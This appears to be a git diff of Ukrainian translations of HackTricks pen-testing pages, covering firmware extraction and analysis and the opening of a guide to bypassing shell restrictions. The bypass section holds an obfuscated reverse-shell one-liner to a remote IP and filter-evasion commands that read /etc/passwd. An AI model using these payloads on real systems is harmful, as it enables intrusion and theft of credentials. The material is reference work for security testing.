| ⌘⌥F (Command-Option/Alt-F) | Пошук у вашій поштовій скриньці |
|
||||
|
||||
# Посилання
|
||||
## Посилання
|
||||
|
||||
* [https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html](https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html)
|
||||
* [https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html](https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html)
|
||||
* [https://thesweetsetup.com/best-ipad-keyboard-shortcuts/](https://thesweetsetup.com/best-ipad-keyboard-shortcuts/)
|
||||
* [http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html](http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html)
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) - це пошуковий двигун, який працює на **темному веб-сайті** і пропонує **безкоштовні** функціональні можливості для перевірки, чи були **компанія або її клієнти** **пошкоджені** **викрадачами злочинців**.
|
||||
|
||||
Основна мета WhiteIntel - це боротьба з захопленням облікових записів та атаками вимагання викупу, що виникають внаслідок шкідливого програмного забезпечення, яке краде інформацію.
|
||||
|
||||
Ви можете перевірити їх веб-сайт та спробувати їх двигун **безкоштовно** за посиланням:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у PDF-форматі**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поділіться хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **та** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,35 +1,36 @@
|
|||
# Firmware Analysis
|
||||
# Аналіз прошивки
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання AWS Red Team Expert (ARTE) від HackTricks**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання GCP Red Team Expert (GRTE) від HackTricks**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **та** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв GitHub**.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Вступ**
|
||||
|
||||
Прошивка є важливим програмним забезпеченням, яке дозволяє пристроям працювати належним чином, керуючи та сприяючи комунікації між апаратними компонентами та програмним забезпеченням, з яким користувачі взаємодіють. Вона зберігається в постійній пам'яті, забезпечуючи доступ пристрою до важливих інструкцій з моменту ввімкнення живлення, що призводить до запуску операційної системи. Аналіз та, можливо, модифікація прошивки є важливим кроком у виявленні вразливостей безпеки.
|
||||
Прошивка є важливим програмним забезпеченням, яке дозволяє пристроям працювати належним чином, керуючи та сприяючи комунікації між апаратними компонентами та програмним забезпеченням, з яким користувачі взаємодіють. Вона зберігається в постійній пам'яті, забезпечуючи доступ пристрою до важливих інструкцій з моменту ввімкнення живлення, що призводить до запуску операційної системи. Аналіз та, можливо, модифікація прошивки є важливим кроком у виявленні уразливостей безпеки.
|
||||
|
||||
## **Збір інформації**
|
||||
|
||||
**Збір інформації** є критичним початковим кроком у розумінні структури пристрою та використовуваних технологій. Цей процес включає збір даних про:
|
||||
|
||||
* Архітектуру ЦП та операційну систему, яку вона виконує
|
||||
* Конкрети загрузчика
|
||||
* Конкрети завантажувача
|
||||
* Апаратне забезпечення та технічні описи
|
||||
* Метрики кодової бази та місця розташування джерел
|
||||
* Зовнішні бібліотеки та типи ліцензій
|
||||
* Історії оновлень та регуляторні сертифікати
|
||||
* Архітектурні та блок-схеми
|
||||
* Оцінки безпеки та виявлені вразливості
|
||||
* Оцінки безпеки та виявлені уразливості
|
||||
|
||||
Для цієї мети інструменти **відкритого джерела інформації (OSINT)** є невід'ємними, так само як аналіз будь-яких доступних компонентів програмного забезпечення з використанням ручних та автоматизованих процесів перегляду. Інструменти, такі як [Coverity Scan](https://scan.coverity.com) та [LGTM від Semmle](https://lgtm.com/#explore), пропонують безкоштовний статичний аналіз, який можна використовувати для виявлення потенційних проблем.
|
||||
|
||||
|
@ -40,19 +41,18 @@
|
|||
* **Прямо** від джерела (розробники, виробники)
|
||||
* **Побудова** за наданими інструкціями
|
||||
* **Завантаження** з офіційних сайтів підтримки
|
||||
* Використання **запитів Google dork** для пошуку розміщених файлів прошивки
|
||||
* Використання запитів **Google dork** для пошуку розміщених файлів прошивки
|
||||
* Прямий доступ до **хмарного сховища** за допомогою інструментів, таких як [S3Scanner](https://github.com/sa7mon/S3Scanner)
|
||||
* Перехоплення **оновлень** за допомогою технік "чоловік посередині"
|
||||
* Перехоплення **оновлень** за допомогою технік "людина посередині"
|
||||
* **Вилучення** з пристрою через з'єднання, такі як **UART**, **JTAG** або **PICit**
|
||||
* **Прослуховування** запитів на оновлення в межах комунікації пристрою
|
||||
* Визначення та використання **жорстко закодованих кінцевих точок оновлень**
|
||||
* **Вибірка** з завантажувача або мережі
|
||||
* **Вилучення та читання** чіпа пам'яті, якщо нічого іншого не допомагає, за допомогою відповідних апаратних інструментів
|
||||
* **Вилучення та читання** чіпа пам'яті, якщо всі інші способи не допомагають, за допомогою відповідних апаратних інструментів
|
||||
|
||||
## **Аналіз прошивки**
|
||||
|
||||
Тепер, коли у вас **є прошивка**, вам потрібно отримати інформацію про неї, щоб знати, як з нею працювати. Різні інструменти, які можна використовувати для цього:
|
||||
|
||||
Тепер, коли у вас **є прошивка**, вам потрібно отримати інформацію про неї, щоб знати, як з нею працювати. Різні інструменти, які ви можете використовувати для цього:
|
||||
```bash
|
||||
file <bin>
|
||||
strings -n8 <bin>
|
||||
|
@ -61,8 +61,7 @@ hexdump -C -n 512 <bin> > hexdump.out
|
|||
hexdump -C <bin> | head # might find signatures in header
|
||||
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
|
||||
```
|
||||
|
||||
Якщо ви не знайшли багато із цими інструментами, перевірте **ентропію** зображення за допомогою `binwalk -E <bin>`, якщо ентропія низька, то ймовірно, що воно не зашифроване. Якщо висока ентропія, то ймовірно, що воно зашифроване (або стиснене якимось чином).
|
||||
Якщо ви не знайшли багато із цими інструментами, перевірте **ентропію** зображення за допомогою `binwalk -E <bin>`, якщо ентропія низька, то ймовірно, що воно не зашифроване. Якщо висока ентропія, то ймовірно, що воно зашифроване (або стиснуте якимось чином).
|
||||
|
||||
Крім того, ви можете використовувати ці інструменти для вилучення **файлів, вбудованих у прошивку**:
|
||||
|
||||
|
@ -74,13 +73,12 @@ fdisk -lu <bin> #lists a drives partition and filesystems if multiple
|
|||
|
||||
### Отримання файлової системи
|
||||
|
||||
За допомогою попередніх зазначених інструментів, таких як `binwalk -ev <bin>`, ви повинні були змогти **витягти файлову систему**.\
|
||||
Зазвичай binwalk розпаковує її всередину **папки з назвою типу файлової системи**, яка зазвичай є однією з наступних: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
|
||||
За допомогою попередніх зазначених інструментів, таких як `binwalk -ev <bin>`, ви повинні були здатні **витягти файлову систему**.\
|
||||
Зазвичай binwalk видобуває її всередину **папки, названої як тип файлової системи**, яка зазвичай є однією з наступних: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
|
||||
|
||||
#### Ручне вилучення файлової системи
|
||||
|
||||
Іноді binwalk **не має магічного байту файлової системи у своїх підписах**. У цих випадках використовуйте binwalk для **знаходження зміщення файлової системи та вирізання стисненої файлової системи** з бінарного файлу та **ручне вилучення** файлової системи відповідно до її типу за допомогою наведених нижче кроків.
|
||||
|
||||
Іноді binwalk **не має магічного байту файлової системи у своїх підписах**. У цих випадках використовуйте binwalk для **знаходження зміщення файлової системи та вирізання стиснутої файлової системи** з бінарного файлу та **ручне вилучення** файлової системи відповідно до її типу за допомогою наведених нижче кроків.
|
||||
```
|
||||
$ binwalk DIR850L_REVB.bin
|
||||
|
||||
|
@ -92,9 +90,7 @@ DECIMAL HEXADECIMAL DESCRIPTION
|
|||
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
|
||||
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
|
||||
```
|
||||
|
||||
Виконайте наступну **команду dd**, вирізаючи файлову систему Squashfs.
|
||||
|
||||
Виконайте наступну команду **dd**, витягаючи файлову систему Squashfs.
|
||||
```
|
||||
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||
|
||||
|
@ -104,7 +100,6 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
|||
|
||||
8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
|
||||
```
|
||||
|
||||
Альтернативно, можна виконати наступну команду.
|
||||
|
||||
`$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs`
|
||||
|
@ -113,7 +108,7 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
|||
|
||||
`$ unsquashfs dir.squashfs`
|
||||
|
||||
Файли будуть в каталозі "`squashfs-root`" після цього.
|
||||
Файли будуть у каталозі "`squashfs-root`" після цього.
|
||||
|
||||
* Файли архіву CPIO
|
||||
|
||||
|
@ -129,14 +124,13 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
|||
|
||||
`$ ubidump.py <bin>`
|
||||
|
||||
## Аналіз прошивки
|
||||
## Аналіз Прошивки
|
||||
|
||||
Після отримання прошивки важливо розібрати її для розуміння її структури та потенційних вразливостей. Цей процес включає використання різноманітних інструментів для аналізу та вилучення цінної інформації з образу прошивки.
|
||||
|
||||
### Інструменти початкового аналізу
|
||||
|
||||
Надається набір команд для початкового огляду бінарного файлу (зазначається як `<bin>`). Ці команди допомагають в ідентифікації типів файлів, вилученні рядків, аналізі бінарних даних та розумінні деталей розділу та файлової системи:
|
||||
### Інструменти Початкового Аналізу
|
||||
|
||||
Набір команд надається для початкового огляду бінарного файлу (зазначається як `<bin>`). Ці команди допомагають ідентифікувати типи файлів, вилучати рядки, аналізувати бінарні дані та розуміти деталі розділу та файлової системи:
|
||||
```bash
|
||||
file <bin>
|
||||
strings -n8 <bin>
|
||||
|
@ -145,68 +139,61 @@ hexdump -C -n 512 <bin> > hexdump.out
|
|||
hexdump -C <bin> | head #useful for finding signatures in the header
|
||||
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
|
||||
```
|
||||
|
||||
Для оцінки статусу шифрування зображення перевіряється **ентропія** за допомогою `binwalk -E <bin>`. Низька ентропія вказує на відсутність шифрування, тоді як висока ентропія вказує на можливе шифрування або стиснення.
|
||||
|
||||
Для вилучення **вбудованих файлів** рекомендується використовувати інструменти та ресурси, такі як документація **file-data-carving-recovery-tools** та **binvis.io** для інспекції файлів.
|
||||
|
||||
### Вилучення файлової системи
|
||||
|
||||
За допомогою `binwalk -ev <bin>` зазвичай можна вилучити файлову систему, часто у каталог з назвою типу файлової системи (наприклад, squashfs, ubifs). Однак, коли **binwalk** не вдається визначити тип файлової системи через відсутність магічних байтів, необхідне ручне вилучення. Це включає використання `binwalk` для визначення зміщення файлової системи, а потім команди `dd` для вирізання файлової системи:
|
||||
|
||||
За допомогою `binwalk -ev <bin>` зазвичай можна вилучити файлову систему, часто у каталог з назвою типу файлової системи (наприклад, squashfs, ubifs). Однак, коли **binwalk** не вдається визначити тип файлової системи через відсутність магічних байтів, необхідне ручне вилучення. Це включає використання `binwalk` для пошуку зміщення файлової системи, за яким слідує команда `dd` для вирізання файлової системи:
|
||||
```bash
|
||||
$ binwalk DIR850L_REVB.bin
|
||||
|
||||
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||
```
|
||||
|
||||
Після цього, в залежності від типу файлової системи (наприклад, squashfs, cpio, jffs2, ubifs), використовуються різні команди для ручного вилучення вмісту.
|
||||
|
||||
### Аналіз файлової системи
|
||||
|
||||
Після вилучення файлової системи починається пошук уразливостей безпеки. Увага приділяється небезпечним мережевим демонам, зашитим обліковим записам, API-точкам доступу, функціоналу сервера оновлень, некомпільованому коду, скриптам запуску та скомпільованим бінарникам для офлайн-аналізу.
|
||||
Після вилучення файлової системи використовуються різні команди для ручного вилучення вмісту, залежно від типу файлової системи (наприклад, squashfs, cpio, jffs2, ubifs).
|
||||
|
||||
Починається пошук уразливостей безпеки. Увага приділяється небезпечним мережевим демонам, зашитим обліковим записам, кінцевим точкам API, функціоналу сервера оновлень, некомпільованому коду, скриптам запуску та скомпільованим бінарникам для офлайн-аналізу.
|
||||
|
||||
**Ключові місця** та **елементи** для перевірки включають:
|
||||
|
||||
* **etc/shadow** та **etc/passwd** для облікових даних користувача
|
||||
* SSL-сертифікати та ключі в **etc/ssl**
|
||||
* Файли конфігурації та скрипти для потенційних вразливостей
|
||||
* Вбудовані бінарні файли для подальшого аналізу
|
||||
* Загальні веб-сервери та бінарні файли пристроїв Інтернету речей
|
||||
- **etc/shadow** та **etc/passwd** для облікових даних користувача
|
||||
- SSL-сертифікати та ключі в **etc/ssl**
|
||||
- Файли конфігурації та скрипти для потенційних вразливостей
|
||||
- Вбудовані бінарні файли для подальшого аналізу
|
||||
- Загальні веб-сервери та бінарні файли пристроїв Інтернету речей
|
||||
|
||||
Декілька інструментів допомагають виявити чутливу інформацію та вразливості в межах файлової системи:
|
||||
Декілька інструментів допомагають виявляти чутливу інформацію та вразливості в межах файлової системи:
|
||||
|
||||
* [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) та [**Firmwalker**](https://github.com/craigz28/firmwalker) для пошуку чутливої інформації
|
||||
* [**Інструмент аналізу та порівняння прошивки (FACT)**](https://github.com/fkie-cad/FACT\_core) для комплексного аналізу прошивки
|
||||
* [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go) та [**EMBA**](https://github.com/e-m-b-a/emba) для статичного та динамічного аналізу
|
||||
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) та [**Firmwalker**](https://github.com/craigz28/firmwalker) для пошуку чутливої інформації
|
||||
- [**Інструмент аналізу та порівняння прошивки (FACT)**](https://github.com/fkie-cad/FACT\_core) для комплексного аналізу прошивки
|
||||
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go) та [**EMBA**](https://github.com/e-m-b-a/emba) для статичного та динамічного аналізу
|
||||
|
||||
### Перевірка безпеки скомпільованих бінарників
|
||||
### Перевірка безпеки компільованих бінарних файлів
|
||||
|
||||
Як джерело коду, так і скомпільовані бінарні файли, знайдені в файловій системі, повинні бути ретельно перевірені на вразливості. Інструменти, такі як **checksec.sh** для бінарників Unix та **PESecurity** для бінарників Windows, допомагають виявити незахищені бінарні файли, які можуть бути використані для атак.
|
||||
Як джерело коду, так і компільовані бінарні файли, знайдені в файловій системі, повинні бути ретельно перевірені на вразливості. Інструменти, такі як **checksec.sh** для бінарних файлів Unix та **PESecurity** для бінарних файлів Windows, допомагають виявляти незахищені бінарні файли, які можуть бути використані для атак.
|
||||
|
||||
## Емуляція прошивки для динамічного аналізу
|
||||
|
||||
Процес емуляції прошивки дозволяє проводити **динамічний аналіз** роботи пристрою або окремої програми. Цей підхід може зіткнутися з викликами залежностей від апаратного забезпечення або архітектури, але передача кореневої файлової системи або конкретних бінарників на пристрій з відповідною архітектурою та порядком байтів, такого як Raspberry Pi, або на попередньо побудовану віртуальну машину, може сприяти подальшому тестуванню.
|
||||
Процес емуляції прошивки дозволяє проводити **динамічний аналіз** роботи пристрою або окремої програми. Цей підхід може зіткнутися з викликами апаратного забезпечення або залежностями від архітектури, але передача кореневої файлової системи або конкретних бінарних файлів на пристрій з відповідною архітектурою та порядком байтів, такий як Raspberry Pi, або на попередньо побудовану віртуальну машину, може сприяти подальшому тестуванню.
|
||||
|
||||
### Емуляція окремих бінарників
|
||||
### Емуляція окремих бінарних файлів
|
||||
|
||||
Для аналізу окремих програм важливо визначити порядок байтів та архітектуру ЦП.
|
||||
Для вивчення окремих програм важливо визначити порядок байтів та архітектуру ЦП.
|
||||
|
||||
#### Приклад з архітектурою MIPS
|
||||
|
||||
Для емуляції бінарного файлу з архітектурою MIPS можна використати команду:
|
||||
|
||||
Для емуляції бінарного файлу з архітектурою MIPS можна використовувати команду:
|
||||
```bash
|
||||
file ./squashfs-root/bin/busybox
|
||||
```
|
||||
|
||||
І для встановлення необхідних інструментів емуляції:
|
||||
|
||||
```bash
|
||||
sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
|
||||
```
|
||||
|
||||
Для архітектури MIPS (big-endian) використовується `qemu-mips`, а для little-endian бінарних файлів - `qemu-mipsel`.
|
||||
Для архітектури MIPS (big-endian) використовується `qemu-mips`, а для little-endian бінарних файлів вибір падає на `qemu-mipsel`.
|
||||
|
||||
#### Емуляція архітектури ARM
|
||||
|
||||
|
@ -216,17 +203,17 @@ sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system
|
|||
|
||||
Інструменти, такі як [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit) та інші, сприяють повній емуляції прошивки, автоматизуючи процес та допомагаючи у динамічному аналізі.
|
||||
|
||||
## Практичний динамічний аналіз
|
||||
## Практичний аналіз в реальному часі
|
||||
|
||||
На цьому етапі для аналізу використовується реальне або емульоване середовище пристрою. Важливо забезпечити доступ до оболонки ОС та файлової системи. Емуляція може не ідеально відтворювати апаратні взаємодії, що може вимагати періодичних перезапусків емуляції. Аналіз повинен переглядати файлову систему, використовувати вразливі веб-сторінки та мережеві сервіси, а також досліджувати вразливості завантажувача. Тести на цілісність прошивки є критичними для виявлення потенційних вразливостей.
|
||||
На цьому етапі для аналізу використовується реальне або емульоване середовище пристрою. Важливо забезпечити доступ до оболонки ОС та файлової системи. Емуляція може не ідеально відтворювати апаратні взаємодії, що може вимагати періодичного перезапуску емуляції. Аналіз повинен переглядати файлову систему, використовувати вразливі веб-сторінки та мережеві сервіси, досліджувати вразливості завантажувача. Тести на цілісність прошивки є критичними для виявлення потенційних вразливостей задніх дверей.
|
||||
|
||||
## Техніки аналізу під час виконання
|
||||
## Техніки аналізу в реальному часі
|
||||
|
||||
Аналіз під час виконання передбачає взаємодію з процесом або бінарним файлом у його робочому середовищі, використовуючи інструменти, такі як gdb-multiarch, Frida та Ghidra для встановлення точок зупинки та виявлення вразливостей за допомогою фаззингу та інших технік.
|
||||
Аналіз в реальному часі передбачає взаємодію з процесом або бінарним файлом у його робочому середовищі, використовуючи інструменти, такі як gdb-multiarch, Frida та Ghidra для встановлення точок зупинки та ідентифікації вразливостей за допомогою фаззингу та інших технік.
|
||||
|
||||
## Експлуатація бінарних файлів та доказ концепції
|
||||
|
||||
Розробка PoC для виявлених вразливостей вимагає глибокого розуміння цільової архітектури та програмування на мовах нижчого рівня. Захист від виконання коду вбудованих систем рідко зустрічається, але при наявності таких заходів, може знадобитися використання технік, таких як Return Oriented Programming (ROP).
|
||||
Розробка PoC для виявлених вразливостей вимагає глибокого розуміння цільової архітектури та програмування на мовах низького рівня. Захист від виконання коду вбудованих систем рідко зустрічається, але у разі його наявності можуть знадобитися техніки, такі як Return Oriented Programming (ROP).
|
||||
|
||||
## Підготовлені операційні системи для аналізу прошивки
|
||||
|
||||
|
@ -257,7 +244,7 @@ sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system
|
|||
## Посилання
|
||||
|
||||
* [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
|
||||
* [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
|
||||
* [Практичний взлом IoT: остаточний посібник з атак на Інтернет речей](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
|
||||
|
||||
## Навчання та сертифікація
|
||||
|
||||
|
|
|
@ -1,30 +1,31 @@
|
|||
# Обхід обмежень Linux
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання AWS Red Team Expert (ARTE) HackTricks**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання GCP Red Team Expert (GRTE) HackTricks**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію в рекламі на HackTricks** або **завантажити HackTricks у PDF-форматі**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкої побудови та **автоматизації робочих процесів** за допомогою найбільш **продвинутих** інструментів спільноти у світі.\
|
||||
Використовуйте [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=bypass-bash-restrictions) для легкої побудови та **автоматизації робочих процесів** за допомогою найбільш **продвинутих** інструментів спільноти у світі.\
|
||||
Отримайте доступ сьогодні:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=bypass-bash-restrictions" %}
|
||||
|
||||
## Обхід загальних обмежень
|
||||
|
||||
### Зворотний шелл
|
||||
### Зворотний Shell
|
||||
```bash
|
||||
# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
|
||||
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
|
||||
|
@ -75,7 +76,6 @@ $(a="WhOaMi";printf %s "${a,,}") #whoami -> transformation (only bash)
|
|||
$(rev<<<'imaohw') #whoami
|
||||
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) #base64
|
||||
|
||||
|
||||
# Execution through $0
|
||||
echo whoami|$0
|
||||
|
||||
|
@ -83,6 +83,12 @@ echo whoami|$0
|
|||
cat$u /etc$u/passwd$u # Use the uninitialized variable without {} before any symbol
|
||||
p${u}i${u}n${u}g # Equals to ping, use {} to put the uninitialized variables between valid characters
|
||||
|
||||
# New lines
|
||||
p\
|
||||
i\
|
||||
n\
|
||||
g # These 4 lines will equal to ping
|
||||
|
||||
# Fake commands
|
||||
p$(u)i$(u)n$(u)g # Equals to ping but 3 errors trying to execute "u" are shown
|
||||
w`u`h`u`o`u`a`u`m`u`i # Equals to whoami but 5 errors trying to execute "u" are shown
|
||||
|
@ -116,12 +122,6 @@ X=$'cat\x20/etc/passwd'&&$X
|
|||
# Using tabs
|
||||
